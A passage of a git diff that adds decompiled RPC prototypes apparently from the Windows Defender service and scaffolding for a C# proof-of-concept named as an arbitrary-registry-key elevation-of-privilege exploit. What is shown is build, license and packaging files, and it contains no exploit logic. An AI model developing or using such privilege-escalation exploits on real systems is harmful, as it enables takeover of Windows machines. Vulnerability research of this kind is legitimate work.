struct Struct_3280_t **arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc147_ServerMpRpcGetAsrBlockedActionInfos( + /* [in] */ handle_t IDL_handle, + /* [in] */ struct Struct_16_t *arg_1, + /* [in] */ long arg_2, + /* [in] */ long arg_3, + /* [out] */ long *arg_4, + /* [size_is][size_is][ref][out] */ struct Struct_3302_t ***arg_5, + /* [out] */ error_status_t *arg_6); + +long Proc148_ServerMpRpcGetTPStateInfo( + /* [in] */ handle_t IDL_handle, + /* [out] */ struct Struct_3350_t *arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc149_ServerMpRpcSetTPState( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc150_ServerMpRpcUpdateDevMode( + /* [in] */ handle_t IDL_handle, + /* [out] */ long *arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc151_ServerMpRpcGetDevMode( + /* [in] */ handle_t IDL_handle, + /* [out] */ long *arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc152_ServerMpUpdateBreakTheGlassStatus( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [string][in] */ wchar_t *arg_2, + /* [string][in] */ wchar_t *arg_3, + /* [out] */ error_status_t *arg_4); + +long Proc153_ServerMpNetworkCapture( + /* [in] */ handle_t IDL_handle, + /* [string][in] */ wchar_t *arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc154_ServerMpConveyDlpBypass( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [string][unique][in] */ wchar_t *arg_2, + /* [string][unique][in] */ wchar_t *arg_3, + /* [string][unique][in] */ wchar_t *arg_4, + /* [out] */ error_status_t *arg_5); + +long Proc155_ServerDlpMpCheckAccessForPrintOperation( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [in] */ hyper arg_2, + /* [string][unique][in] */ wchar_t *arg_3, + /* [string][unique][in] */ wchar_t *arg_4, + /* [string][unique][in] */ wchar_t *arg_5, + /* [in] */ long arg_6, + /* [out] */ long *arg_7, + /* [out] */ error_status_t *arg_8); + +long Proc156_ServerDlpMpConveyNewPrinterConnection( + /* [in] */ handle_t IDL_handle, + /* [string][unique][in] */ wchar_t *arg_1, + /* [string][unique][in] */ wchar_t *arg_2, + /* [string][unique][in] */ wchar_t *arg_3, + /* [in] */ long arg_4, + /* [out] */ error_status_t *arg_5); + +long Proc157_ServerMpShowDlpDetailsDialog( + /* [in] */ handle_t IDL_handle, + /* [string][unique][in] */ wchar_t *arg_1, + /* [in] */ long arg_2, + /* [string][unique][in] */ wchar_t *arg_3, + /* [in] */ long arg_4, + /* [out] */ error_status_t *arg_5); + +long Proc158_ServerMpRpcGetDlpEvents( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [out] */ long *arg_2, + /* [size_is][size_is][ref][out] */ struct Struct_3370_t ***arg_3, + /* [out] */ error_status_t *arg_4); + +long Proc159_ServerMpRpcConveyUserChoiceForDlpNotification( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [size_is][unique][in] */ struct Struct_3370_t **arg_2, + /* [string][unique][in] */ wchar_t *arg_3, + /* [in] */ long arg_4, + /* [string][unique][in] */ wchar_t *arg_5, + /* [in] */ long arg_6, + /* [out] */ error_status_t *arg_7); + +long Proc160_ServerMpRpcChangeCapability( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [in] */ long arg_2, + /* [in] */ long arg_3, + /* [out] */ error_status_t *arg_4); + +long Proc161_ServerMpRpcMpThreatAction( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [in] */ struct Struct_3570_t *arg_2, + /* [in] */ long arg_3, + /* [out] */ error_status_t *arg_4); + +long Proc162_ServerMpRpcAsrSetHipsUserExclusion( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [in] */ struct Struct_16_t *arg_2, + /* [in] */ long arg_3, + /* [in] */ long arg_4, + /* [in] */ long arg_5, + /* [string][unique][in] */ wchar_t *arg_6, + /* [string][unique][in] */ wchar_t *arg_7, + /* [string][unique][in] */ wchar_t *arg_8, + /* [string][unique][in] */ wchar_t *arg_9, + /* [out] */ error_status_t *arg_10); + +long Proc163_ServerDlpMpRpcCheckAccessForClipboardOperationEx( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [in] */ hyper arg_2, + /* [in] */ long arg_3, + /* [out] */ long *arg_4, + /* [out] */ long *arg_5, + /* [out] */ long *arg_6, + /* [out] */ error_status_t *arg_7); + +long Proc164_ServerMpRpcQueryConfigProtection( + /* [in] */ handle_t IDL_handle, + /* [string][in] */ wchar_t *arg_1, + /* [string][in] */ wchar_t *arg_2, + /* [in] */ long arg_3, + /* [out] */ long *arg_4, + /* [out] */ error_status_t *arg_5); + +long Proc165_ServerMpRpcCheckAccessForDragDropOperation( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [in] */ hyper arg_2, + /* [in] */ long arg_3, + /* [in] */ long arg_4, + /* [in] */ hyper arg_5, + /* [in] */ long arg_6, + /* [size_is][unique][in] */ unsigned char *arg_7, + /* [out] */ long *arg_8, + /* [out] */ error_status_t *arg_9); + +long Proc166_ServerMpRpcUpdateBrowserActiveTab( + /* [in] */ handle_t IDL_handle, + /* [string][in] */ wchar_t *arg_1, + /* [in] */ long arg_2, + /* [in] */ long arg_3, + /* [string][in] */ wchar_t *arg_4, + /* [in] */ long arg_5, + /* [out] */ error_status_t *arg_6); + +long Proc167_ServerMpRpcSendBrowserHeartbeat( + /* [in] */ handle_t IDL_handle, + /* [string][in] */ wchar_t *arg_1, + /* [in] */ long arg_2, + /* [in] */ hyper arg_3, + /* [in] */ long arg_4, + /* [out] */ hyper *arg_5, + /* [out] */ error_status_t *arg_6); + +long Proc168_ServerMpRpcGetThreatExecutionInfo( + /* [in] */ handle_t IDL_handle, + /* [in] */ hyper arg_1, + /* [in] */ long arg_2, + /* [ref][out] */ struct Struct_3654_t **arg_3, + /* [out] */ error_status_t *arg_4); + +long Proc169_ServerMpRpcReportClipboardOwner( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [in] */ hyper arg_2, + /* [in] */ long arg_3, + /* [out] */ error_status_t *arg_4); + +long Proc170_ServerMpRpcDlpDelegateEnforcement( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc171_ServerMpRpcConveyUserChoiceForDlpNotificationEx( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [size_is][unique][in] */ struct Struct_3370_t **arg_2, + /* [in] */ long arg_3, + /* [string][unique][in] */ wchar_t *arg_4, + /* [in] */ long arg_5, + /* [string][unique][in] */ wchar_t *arg_6, + /* [in] */ long arg_7, + /* [out] */ error_status_t *arg_8); + +long Proc172_ServerMpRpcSendDeviceControlToast( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [string][unique][in] */ wchar_t *arg_2, + /* [string][unique][in] */ wchar_t *arg_3, + /* [string][unique][in] */ wchar_t *arg_4, + /* [out] */ error_status_t *arg_5); + +long Proc173_ServerMpRpcIsDeviceControlAvailable( + /* [in] */ handle_t IDL_handle, + /* [out] */ long *arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc174_ServerMpRpcGetFCValue( + /* [in] */ handle_t IDL_handle, + /* [in] */ hyper arg_1, + /* [out] */ long *arg_2, + /* [out] */ error_status_t *arg_3); + +long Proc175_ServerMpRpcSetDriverUnloadInProgress( + /* [in] */ handle_t IDL_handle, + /* [in] */ unsigned char arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc176_ServerMpRpcUpdateTSMode( + /* [in] */ handle_t IDL_handle, + /* [string][in] */ wchar_t *arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc177_ServerMpRpcGetTSModeInfo( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [ref][out] */ struct Struct_3800_t **arg_2, + /* [out] */ error_status_t *arg_3); + +long Proc178_ServerMpCheckAccessForPrintOperation2( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [in] */ hyper arg_2, + /* [string][unique][in] */ wchar_t *arg_3, + /* [string][unique][in] */ wchar_t *arg_4, + /* [string][unique][in] */ wchar_t *arg_5, + /* [in] */ long arg_6, + /* [unique][out][in] */ long *arg_7, + /* [out] */ long *arg_8, + /* [out] */ error_status_t *arg_9); + +long Proc179_ServerMpRpcCheckAccessForClipboardOperationEx2( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [in] */ hyper arg_2, + /* [unique][in] */ struct Struct_3824_t *arg_3, + /* [unique][in] */ struct Struct_3824_t *arg_4, + /* [in] */ long arg_5, + /* [out] */ long *arg_6, + /* [out] */ long *arg_7, + /* [out] */ long *arg_8, + /* [out] */ error_status_t *arg_9); + +long Proc180_ServerMpRpcCheckAccessForDragDropOperation2( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [in] */ hyper arg_2, + /* [in] */ long arg_3, + /* [in] */ long arg_4, + /* [in] */ hyper arg_5, + /* [in] */ long arg_6, + /* [size_is][unique][in] */ unsigned char *arg_7, + /* [unique][in] */ struct Struct_3824_t *arg_8, + /* [unique][in] */ struct Struct_3824_t *arg_9, + /* [out] */ long *arg_10, + /* [out] */ error_status_t *arg_11); + +long Proc181_ServerMpRpcDlpInitializeEnforcementMode( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [size_is][unique][in] */ struct Struct_126_t *arg_2, + /* [out] */ error_status_t *arg_3); + +long Proc182_ServerMpRpcDlpGetOperationEnforcmentMode( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [out] */ long *arg_2, + /* [out] */ error_status_t *arg_3); + +long Proc183_ServerMpRpcDlpNotifyPreOpenDocumentFile( + /* [in] */ handle_t IDL_handle, + /* [in] */ struct Struct_3824_t *arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc184_ServerMpRpcDlpNotifyPostOpenDocumentFile( + /* [in] */ handle_t IDL_handle, + /* [in] */ struct Struct_3824_t *arg_1, + /* [unique][in] */ struct Struct_126_t *arg_2, + /* [out] */ error_status_t *arg_3); + +long Proc185_ServerMpRpcDlpNotifyCloseDocumentFile( + /* [in] */ handle_t IDL_handle, + /* [unique][in] */ struct Struct_3824_t *arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc186_ServerMpRpcDlpNotifyPreSaveAsDocument( + /* [in] */ handle_t IDL_handle, + /* [in] */ struct Struct_3824_t *arg_1, + /* [string][unique][in] */ wchar_t *arg_2, + /* [out] */ error_status_t *arg_3); + +long Proc187_ServerMpRpcDlpNotifyPostSaveAsDocument( + /* [in] */ handle_t IDL_handle, + /* [in] */ struct Struct_3824_t *arg_1, + /* [string][unique][in] */ wchar_t *arg_2, + /* [unique][in] */ struct Struct_126_t *arg_3, + /* [out] */ error_status_t *arg_4); + +long Proc188_ServerMpRpcDlpNotifyPrePrint( + /* [in] */ handle_t IDL_handle, + /* [in] */ struct Struct_3824_t *arg_1, + /* [unique][in] */ struct Struct_3880_t *arg_2, + /* [out] */ error_status_t *arg_3); + +long Proc189_ServerMpRpcDlpNotifyPostStartPrint( + /* [in] */ handle_t IDL_handle, + /* [unique][in] */ struct Struct_3824_t *arg_1, + /* [unique][in] */ struct Struct_3880_t *arg_2, + /* [unique][in] */ struct Struct_126_t *arg_3, + /* [out] */ error_status_t *arg_4); + +long Proc190_ServerMpGetTDTFeatureStatus( + /* [in] */ handle_t IDL_handle, + /* [out] */ long *arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc191_ServerMpRpcGetDeviceControlSecurityPolicies( + /* [in] */ handle_t IDL_handle, + /* [string][ref][out] */ wchar_t **arg_1, + /* [string][ref][out] */ wchar_t **arg_2, + /* [out] */ error_status_t *arg_3); + +long Proc192_ServerMpRpcGetSACInfo( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [ref][out] */ struct Struct_3958_t **arg_2, + /* [out] */ error_status_t *arg_3); + +long Proc193_ServerMpGetTDTFeatureStatusEx( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [ref][out] */ struct Struct_4158_t **arg_2, + /* [out] */ error_status_t *arg_3); + +long Proc194_ServerMpRpcGetDeviceControlStatus( + /* [in] */ handle_t IDL_handle, + /* [out] */ struct Struct_4178_t *arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc195_ServerMpRpcSpynetGetExtendedHeaderInfo( + /* [context_handle][in] */ void *arg_0, + /* [out] */ struct Struct_4194_t *arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc196_ServerMpDisableXBGM( + /* [in] */ handle_t IDL_handle, + /* [out] */ error_status_t *arg_1); + +long Proc197_ServerMpRpcDefenderPrintAccessCheck( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [string][in] */ wchar_t *arg_2, + /* [out] */ long *arg_3, + /* [out] */ hyper *arg_4, + /* [out] */ long *arg_5, + /* [out] */ error_status_t *arg_6); + +long Proc198_ServerMpRpcDeviceControlPrintAccessCheck( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [string][in] */ wchar_t *arg_2, + /* [out] */ long *arg_3, + /* [out] */ hyper *arg_4, + /* [out] */ long *arg_5, + /* [out] */ error_status_t *arg_6); + +long Proc199_ServerMpRpcDefenderPrintDataProvide( + /* [in] */ handle_t IDL_handle, + /* [in] */ hyper arg_1, + /* [in] */ long arg_2, + /* [size_is][unique][in] */ unsigned char *arg_3, + /* [out] */ error_status_t *arg_4); + +long Proc200_ServerMpRpcDeviceControlAuthenticateNetworkShare( + /* [in] */ handle_t IDL_handle, + /* [string][in] */ wchar_t *arg_1, + /* [in] */ long arg_2, + /* [size_is][unique][in] */ unsigned char *arg_3, + /* [out] */ error_status_t *arg_4); + +long Proc201_ServerMpRpcApplyTrustLabelAceForMDE( + /* [in] */ handle_t IDL_handle, + /* [string][in] */ wchar_t *arg_1, + /* [in] */ long arg_2, + /* [out] */ error_status_t *arg_3); + +long Proc202_ServerMpGetNpSupportFile( + /* [in] */ handle_t IDL_handle, + /* [string][ref][out] */ wchar_t **arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc203_ServerDlpMpRpcDlpIsPrintDetoursNeeded( + /* [in] */ handle_t IDL_handle, + /* [out] */ long *arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc204_ServerMpRpcConfigRefresh( + /* [in] */ handle_t IDL_handle, + /* [string][in] */ wchar_t *arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc205_ServerMpServiceLogMessage( + /* [in] */ handle_t IDL_handle, + /* [string][in] */ wchar_t *arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc206_ServerMpRpcDeviceControlValidateDataDuplicationRemoteLocationConfiguration( + /* [in] */ handle_t IDL_handle, + /* [string][in] */ wchar_t *arg_1, + /* [string][ref][out] */ wchar_t **arg_2, + /* [out] */ error_status_t *arg_3); + +long Proc207_ServerMpRpcDlpGetEvidenceFileUrl( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [string][in] */ wchar_t *arg_2, + /* [in] */ long arg_3, + /* [string][unique][in] */ wchar_t *arg_4, + /* [string][unique][in] */ wchar_t *arg_5, + /* [string][ref][out] */ wchar_t **arg_6, + /* [string][ref][out] */ wchar_t **arg_7, + /* [out] */ error_status_t *arg_8); + +long Proc208_ServerMpRpcDlpCheckAccessForBuffer( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [size_is][in] */ unsigned char *arg_2, + /* [in] */ long arg_3, + /* [string][unique][in] */ wchar_t *arg_4, + /* [out] */ long *arg_5, + /* [size_is][size_is][ref][out] */ unsigned char **arg_6, + /* [string][ref][out] */ wchar_t **arg_7, + /* [string][ref][out] */ wchar_t **arg_8, + /* [out] */ error_status_t *arg_9); + +long Proc209_ServerMpRpcDevVolumesProtectionState( + /* [in] */ handle_t IDL_handle, + /* [out] */ long *arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc210_ServerMpRpcQueryDevVolumeProtectionState( + /* [in] */ handle_t IDL_handle, + /* [string][in] */ wchar_t *arg_1, + /* [out] */ long *arg_2, + /* [out] */ error_status_t *arg_3); + +long Proc211_ServerMpRpcDlpDispatchAccessEvent( + /* [in] */ handle_t IDL_handle, + /* [in] */ struct Struct_4208_t *arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc212_ServerMpRpcCheckAccessForCopyFile( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [in] */ long arg_2, + /* [in] */ long arg_3, + /* [in] */ hyper arg_4, + /* [string][in] */ wchar_t *arg_5, + /* [string][in] */ wchar_t *arg_6, + /* [string][in] */ wchar_t *arg_7, + /* [out] */ long *arg_8, + /* [out] */ error_status_t *arg_9); + +long Proc213_ServerMpRpcAsrSetHipsUserExclusionEx( + /* [in] */ handle_t IDL_handle, + /* [string][in] */ wchar_t *arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc214_ServerMpRpcGetUpToDateInfo( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [ref][out] */ struct Struct_4314_t **arg_2, + /* [out] */ error_status_t *arg_3); + +long Proc215_ServerMpRpcSendDlpEventDataToEngine( + /* [in] */ handle_t IDL_handle, + /* [in] */ struct Struct_4334_t *arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc216_ServerMpRpcAccessibilityAsyncEvent( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [in] */ long arg_2, + /* [in] */ hyper arg_3, + /* [string][in] */ wchar_t *arg_4, + /* [out] */ error_status_t *arg_5); + +long Proc217_ServerMpRpcCacheManagerIsTrusted( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [in] */ hyper arg_2, + /* [in] */ hyper arg_3, + /* [out] */ error_status_t *arg_4); + +long Proc218_ServerMpRpcSCCGetState( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [ref][out] */ struct Struct_4530_t **arg_2, + /* [out] */ error_status_t *arg_3); + +long Proc219_ServerMpRpcSCCReset( + /* [in] */ handle_t IDL_handle, + /* [out] */ error_status_t *arg_1); + +long Proc220_ServerMpRpcImportConfigPayload( + /* [in] */ handle_t IDL_handle, + /* [size_is][in] */ unsigned char *arg_1, + /* [in] */ long arg_2, + /* [in] */ long arg_3, + /* [ref][out] */ struct Struct_4650_t **arg_4, + /* [out] */ error_status_t *arg_5); + +long Proc221_ServerMpRpcGetConfigPayloadStatus( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [in] */ long arg_2, + /* [ref][out] */ struct Struct_4650_t **arg_3, + /* [out] */ error_status_t *arg_4); + +long Proc222_ServerMpRpcGetConfigValue( + /* [in] */ handle_t IDL_handle, + /* [in] */ wchar_t *arg_1, + /* [in] */ long arg_2, + /* [in] */ long arg_3, + /* [ref][out] */ struct Struct_4734_t **arg_4, + /* [out] */ error_status_t *arg_5); + +long Proc223_ServerMpRpcEffectiveConfigurationReport( + /* [in] */ handle_t IDL_handle, + /* [string][in] */ wchar_t *arg_1, + /* [size_is][size_is][ref][out] */ unsigned char **arg_2, + /* [out] */ long *arg_3, + /* [out] */ error_status_t *arg_4); + +long Proc224_ServerMpRpcGetDefenderStatusSummary( + /* [in] */ handle_t IDL_handle, + /* [out] */ long *arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc225_ServerMpRpcGetHIPSCustomRuleInfo( + /* [in] */ handle_t IDL_handle, + /* [out] */ long *arg_1, + /* [size_is][size_is][ref][out] */ struct Struct_3108_t ***arg_2, + /* [out] */ error_status_t *arg_3); + +long Proc226_ServerMpRpcGetTrustAnchors( + /* [in] */ handle_t IDL_handle, + /* [string][unique][in] */ wchar_t *arg_1, + /* [in] */ long arg_2, + /* [ref][out] */ struct Struct_4886_t **arg_3, + /* [out] */ error_status_t *arg_4); + +long Proc227_ServerMpRpcDlpTriggerToast( + /* [in] */ handle_t IDL_handle, + /* [string][in] */ wchar_t *arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc228_ServerMpRpcGetRnBWFPFilters( + /* [in] */ handle_t IDL_handle, + /* [out] */ long *arg_1, + /* [size_is][size_is][ref][out] */ struct Struct_4918_t ***arg_2, + /* [out] */ error_status_t *arg_3); + +long Proc229_ServerMpRpcRemoveRnBWFPFilter( + /* [in] */ handle_t IDL_handle, + /* [in] */ struct Struct_16_t *arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc230_ServerMpRpcSenseTriggerToast( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc231_ServerMpRpcWddControl( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [size_is][unique][in] */ unsigned char *arg_2, + /* [in] */ long arg_3, + /* [size_is][size_is][ref][out] */ unsigned char **arg_4, + /* [out] */ long *arg_5, + /* [out] */ error_status_t *arg_6); + +long Proc232_ServerMpRpcTemporaryExclusionAction( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [string][in] */ wchar_t *arg_2, + /* [out] */ error_status_t *arg_3); + +long Proc233_ServerMpOnDemandCancelScan( + /* [context_handle][in] */ void *arg_0, + /* [in] */ long arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc234_ServerMpRpcSCCForceReset( + /* [in] */ handle_t IDL_handle, + /* [size_is][in] */ unsigned char *arg_1, + /* [in] */ long arg_2, + /* [out] */ error_status_t *arg_3); + +long Proc235_ServerMpRpcPublishModularConfig( + /* [in] */ handle_t IDL_handle, + /* [string][in] */ wchar_t *arg_1, + /* [string][in] */ wchar_t *arg_2, + /* [in] */ long arg_3, + /* [out] */ error_status_t *arg_4); + + + +extern RPC_IF_HANDLE DefaultIfName_v2_0_c_ifspec; +extern RPC_IF_HANDLE DefaultIfName_v2_0_s_ifspec; +#endif /* __DefaultIfName_INTERFACE_DEFINED__ */ + +/* Additional Prototypes for ALL interfaces */ + +/* end of Additional Prototypes */ + +#ifdef __cplusplus +} +#endif + +#endif + + diff --git a/BlueHammer/windefend_s.c b/BlueHammer/windefend_s.c new file mode 100644 index 0000000..f71e323 --- /dev/null +++ b/BlueHammer/windefend_s.c @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:1b43e026f63d47df0109d3300509c7943b659e6687e3a1e26040995550b6b32a +size 1869017 diff --git a/MiniPlasma/LICENSE b/MiniPlasma/LICENSE new file mode 100644 index 0000000..c30f3fd --- /dev/null +++ b/MiniPlasma/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2026 Nightmare-Eclipse + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/MiniPlasma/PoC_AbortHydration_ArbitraryRegKey_EoP.sln b/MiniPlasma/PoC_AbortHydration_ArbitraryRegKey_EoP.sln new file mode 100644 index 0000000..e387198 --- /dev/null +++ b/MiniPlasma/PoC_AbortHydration_ArbitraryRegKey_EoP.sln @@ -0,0 +1,25 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio Version 16 +VisualStudioVersion = 16.0.30413.136 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "PoC_AbortHydration_ArbitraryRegKey_EoP", "PoC_AbortHydration_ArbitraryRegKey_EoP\PoC_AbortHydration_ArbitraryRegKey_EoP.csproj", "{352F6DD7-9B05-4896-9E7D-2EFA36EAC6E3}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Any CPU = Debug|Any CPU + Release|Any CPU = Release|Any CPU + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {352F6DD7-9B05-4896-9E7D-2EFA36EAC6E3}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {352F6DD7-9B05-4896-9E7D-2EFA36EAC6E3}.Debug|Any CPU.Build.0 = Debug|Any CPU + {352F6DD7-9B05-4896-9E7D-2EFA36EAC6E3}.Release|Any CPU.ActiveCfg = Release|Any CPU + {352F6DD7-9B05-4896-9E7D-2EFA36EAC6E3}.Release|Any CPU.Build.0 = Release|Any CPU + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + SolutionGuid = {AC46CFC5-1E96-44EF-8DC8-8D76B107B781} + EndGlobalSection +EndGlobal diff --git a/MiniPlasma/PoC_AbortHydration_ArbitraryRegKey_EoP/App.config b/MiniPlasma/PoC_AbortHydration_ArbitraryRegKey_EoP/App.config new file mode 100644 index 0000000..1ab4cba --- /dev/null +++ b/MiniPlasma/PoC_AbortHydration_ArbitraryRegKey_EoP/App.config @@ -0,0 +1,6 @@ + + + + + + diff --git a/MiniPlasma/PoC_AbortHydration_ArbitraryRegKey_EoP/FodyWeavers.xml b/MiniPlasma/PoC_AbortHydration_ArbitraryRegKey_EoP/FodyWeavers.xml new file mode 100644 index 0000000..f1dea8f --- /dev/null +++ b/MiniPlasma/PoC_AbortHydration_ArbitraryRegKey_EoP/FodyWeavers.xml @@ -0,0 +1,3 @@ + + + \ No newline at end of file diff --git a/MiniPlasma/PoC_AbortHydration_ArbitraryRegKey_EoP/FodyWeavers.xsd b/MiniPlasma/PoC_AbortHydration_ArbitraryRegKey_EoP/FodyWeavers.xsd new file mode 100644 index 0000000..c0df09d --- /dev/null +++ b/MiniPlasma/PoC_AbortHydration_ArbitraryRegKey_EoP/FodyWeavers.xsd @@ -0,0 +1,186 @@ + + + + + + + + + + + + A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with line breaks + + + + + A list of assembly names to include from the default action of "embed all Copy Local references", delimited with line breaks. + + + + + A list of runtime assembly names to exclude from the default action of "embed all Copy Local references", delimited with line breaks + + + + + A list of runtime assembly names to include from the default action of "embed all Copy Local references", delimited with line breaks. + + + + + A list of runtimes to exclude from the default action of "embed all Copy Local references", delimited with line breaks + + + + + A list of runtimes names to include from the default action of "embed all Copy Local references", delimited with line breaks. + + + + + Obsolete, use UnmanagedWinX86Assemblies instead + + + + + A list of unmanaged X86 (32 bit) assembly names to include, delimited with line breaks. + + + + + Obsolete, use UnmanagedWinX64Assemblies instead. + + + + + A list of unmanaged X64 (64 bit) assembly names to include, delimited with line breaks. + + + + + A list of unmanaged Arm64 (64 bit) assembly names to include, delimited with line breaks. + + + + + The order of preloaded assemblies, delimited with line breaks. + + + + + + This will copy embedded files to disk before loading them into memory. This is helpful for some scenarios that expected an assembly to be loaded from a physical file. + + + + + Controls if .pdbs for reference assemblies are also embedded. + + + + + Controls if runtime assemblies are also embedded. + + + + + Controls whether the runtime assemblies are embedded with their full path or only with their assembly name. + + + + + Embedded assemblies are compressed by default, and uncompressed when they are loaded. You can turn compression off with this option. + + + + + As part of Costura, embedded assemblies are no longer included as part of the build. This cleanup can be turned off. + + + + + The attach method no longer subscribes to the `AppDomain.AssemblyResolve` (.NET 4.x) and `AssemblyLoadContext.Resolving` (.NET 6.0+) events. + + + + + Costura by default will load as part of the module initialization. This flag disables that behavior. Make sure you call CosturaUtility.Initialize() somewhere in your code. + + + + + Costura will by default use assemblies with a name like 'resources.dll' as a satellite resource and prepend the output path. This flag disables that behavior. + + + + + A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with | + + + + + A list of assembly names to include from the default action of "embed all Copy Local references", delimited with |. + + + + + A list of runtime assembly names to exclude from the default action of "embed all Copy Local references", delimited with | + + + + + A list of runtime assembly names to include from the default action of "embed all Copy Local references", delimited with |. + + + + + Obsolete, use UnmanagedWinX86Assemblies instead + + + + + A list of unmanaged X86 (32 bit) assembly names to include, delimited with |. + + + + + Obsolete, use UnmanagedWinX64Assemblies instead + + + + + A list of unmanaged X64 (64 bit) assembly names to include, delimited with |. + + + + + A list of unmanaged Arm64 (64 bit) assembly names to include, delimited with |. + + + + + The order of preloaded assemblies, delimited with |. + + + + + + + + 'true' to run assembly verification (PEVerify) on the target assembly after all weavers have been executed. + + + + + A comma-separated list of error codes that can be safely ignored in assembly verification. + + + + + 'false' to turn off automatic generation of the XML Schema file. + + + + + \ No newline at end of file diff --git a/MiniPlasma/PoC_AbortHydration_ArbitraryRegKey_EoP/PoC_AbortHydration_ArbitraryRegKey_EoP.csproj b/MiniPlasma/PoC_AbortHydration_ArbitraryRegKey_EoP/PoC_AbortHydration_ArbitraryRegKey_EoP.csproj new file mode 100644 index 0000000..eb8e0af --- /dev/null +++ b/MiniPlasma/PoC_AbortHydration_ArbitraryRegKey_EoP/PoC_AbortHydration_ArbitraryRegKey_EoP.csproj @@ -0,0 +1,125 @@ + + + + + + Debug + AnyCPU + 